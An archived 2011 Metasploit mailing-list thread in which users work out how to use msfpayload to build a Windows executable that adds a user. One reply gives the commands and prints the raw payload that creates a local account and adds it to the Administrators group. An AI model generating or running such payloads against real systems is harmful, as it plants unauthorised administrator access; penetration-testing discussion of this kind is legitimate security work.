Metasploit mailing list archives

Re: Can not create an executable to add user for windows platform


From: Sagar Belure <sagar.belure () gmail com>
Date: Fri, 9 Sep 2011 14:22:28 +0530

Hi Canberk,

Yes, that works. Thanks.
The payload name, I just picked up from "msfpayload -h", didn't try with
other possibility. My bad.

Thanks,
Sagar Belure



On Fri, Sep 9, 2011 at 12:56 PM, Canberk BOLAT <canberk.bolat () gmail com>wrote:

Hi Sagar,

Can you try windows/adduser ? It works for me.

[cb@adeo:~]> /opt/msf/msfpayload windows/adduser USER=user PASS=password X
/tmp/test.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/adduser
 Length: 273
Options: {"USER"=>"user", "PASS"=>"password"}
[cb@adeo:~]> file /tmp/test.exe
/tmp/test.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

You can not create executable from cmd payload. Think that, framework use
cmd payloads for command injections etc.. Here is raw cmd payload of your
choice.

[cb@adeo:~]> /opt/msf/msfpayload cmd/windows/adduser USER=user
PASS=password R
cmd.exe /c net user user password /ADD && net localgroup Administrators
user /ADD

I hope its help you.

Regards,
cb

 2011/9/9 Sagar Belure <sagar.belure () gmail com>

 Hi all,

Is it not possible to create an executable which adds a user following
way?
root@bt:~# msfpayload cmd/windows/adduser PASS=password USER=user X >
adduser-user-password.exe
No executable format support for this arch/platform

Thanks,
Sagar Belure


_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework




--
Canberk Bolat
Security Researcher
http://twitter.com/cnbrkbolat
http://cbolat.blogspot.com

_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework

Current thread: